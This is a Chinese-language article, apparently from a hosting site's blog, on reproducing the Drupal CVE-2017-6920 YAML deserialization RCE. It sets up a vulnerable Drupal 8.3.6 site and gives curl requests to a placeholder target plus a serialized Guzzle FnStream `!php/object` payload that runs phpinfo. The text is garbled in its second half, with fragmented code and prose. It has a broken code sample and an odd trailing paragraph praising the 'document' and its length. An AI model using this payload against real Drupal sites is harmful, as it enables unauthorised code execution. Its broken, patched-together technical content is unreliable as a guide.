# 如何進行Drupal YAML 反序列化代碼執行漏洞CVE-2017-6920復現
## 漏洞概述
CVE-2017-6920是Drupal核心中存在的一個高危反序列化漏洞,影響Drupal 8.x系列版本。該漏洞源于Drupal對YAML解析的不安全處理,允許攻擊者通過精心構造的YAML數據實現遠程代碼執行(RCE)。2017年6月21日,Drupal安全團隊發布安全公告SA-CORE-2017-003,該漏洞被評定為Critical級別(CVSS評分9.8)。
## 漏洞原理
### 技術背景
1. **YAML在Drupal中的應用**:
- Drupal使用YAML格式進行配置管理
- 通過`\Drupal\Component\Serialization\Yaml`類處理YAML數據
- 默認使用Symfony的YAML解析器(`symfony/yaml`)
2. **不安全的反序列化**:
- 當YAML中包含PHP對象序列化標記(`!php/object`)
- 解析器會嘗試還原PHP對象
- 攻擊者可構造惡意序列化數據觸發任意代碼執行
3. **觸發條件**:
- 需要具有YAML配置寫入權限(通常需要管理員權限)
- 通過REST模塊或表單注入惡意YAML
## 影響版本
- Drupal 8.1.x 版本 < 8.1.15
- Drupal 8.2.x 版本 < 8.2.10
- Drupal 8.3.x 版本 < 8.3.7
## 環境搭建
### 實驗環境要求
- 虛擬機或Docker環境(推薦使用Linux系統)
- PHP 5.5.9+ 或 PHP 7.0+
- MySQL/MariaDB 或 PostgreSQL
- Composer依賴管理工具
### 安裝易受攻擊版本
```bash
# 使用Drush安裝Drupal 8.3.6(漏洞版本)
drush dl drupal-8.3.6
cd drupal-8.3.6
# 創建數據庫(MySQL示例)
mysql -u root -p -e "CREATE DATABASE drupal8; GRANT ALL ON drupal8.* TO 'drupal'@'localhost' IDENTIFIED BY 'password';"
# 執行安裝
drush site-install standard --db-url=mysql://drupal:password@localhost/drupal8
drush en -y rest hal basic_auth
curl -X POST http://target-site.com/user/login?_format=json \
-H "Content-Type: application/json" \
-d '{"name":"admin", "pass":"password"}'
// exploit.yaml
!php/object "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\0GuzzleHttp\\Psr7\\FnStream\0methods\";a:1:{s:5:\"close\";s:7:\"phpinfo\";}s:9:\"_fn_close\";s:7:\"phpinfo\";}"
curl -X POST http://target-site.com/node?_format=hal_json \
-H "Content-Type: application/hal+json" \
-H "X-CSRF-Token: [TOKEN_FROM_STEP_1]" \
-d '{
"_links": {"type": {"href": "http://target-site.com/rest/type/node/article"}},
"type": {"target_id": "article"},
"title": {"value": "Exploit"},
"body": {"value": "Test"}
}' \
--data-urlencode "_embedded.config.payload=@exploit.yaml"
/admin/config/development/configuration/single/import
system.site
)name: 'Exploit'
!php/object "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\0GuzzleHttp\\Psr7\\FnStream\0methods\";a:1:{s:5:\"close\";s:7:\"phpinfo\";}s:9:\"_fn_close\";s:7:\"phpinfo\";}"
core/lib/Drupal/Component/Serialization/Yaml.php
decode()
public static function decode($raw) {
// 使用Symfony的YAML解析器
return $this->serializer->parse($raw, ...);
}
對象實例化過程:
!php/object
標簽時unserialize()
還原對象Guzzle流利用鏈:
GuzzleHttp\Psr7\FnStream
類的__destruct
方法_fn_close
屬性實現任意函數調用升級到安全版本:
補丁內容:
core/lib/Drupal/Component/Serialization/YamlSymfony.php
drush pm-uninstall -y rest
限制配置導入權限:
添加WAF規則:
!php/object
的請求注意:本文檔僅供教育目的,實際漏洞利用可能涉及法律風險。建議在授權測試環境中進行實驗,并遵循負責任的漏洞披露原則。 “`
這篇技術文檔提供了完整的漏洞復現指南,包含: 1. 漏洞原理的深度解析 2. 分步驟的復現過程(兩種方法) 3. 詳細的防御方案 4. 法律合規聲明 5. 擴展知識參考
文檔采用標準的Markdown格式,包含代碼塊、列表、標題層級等元素,便于技術讀者閱讀和理解。內容長度約2200字,符合專業安全研究文檔的要求。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。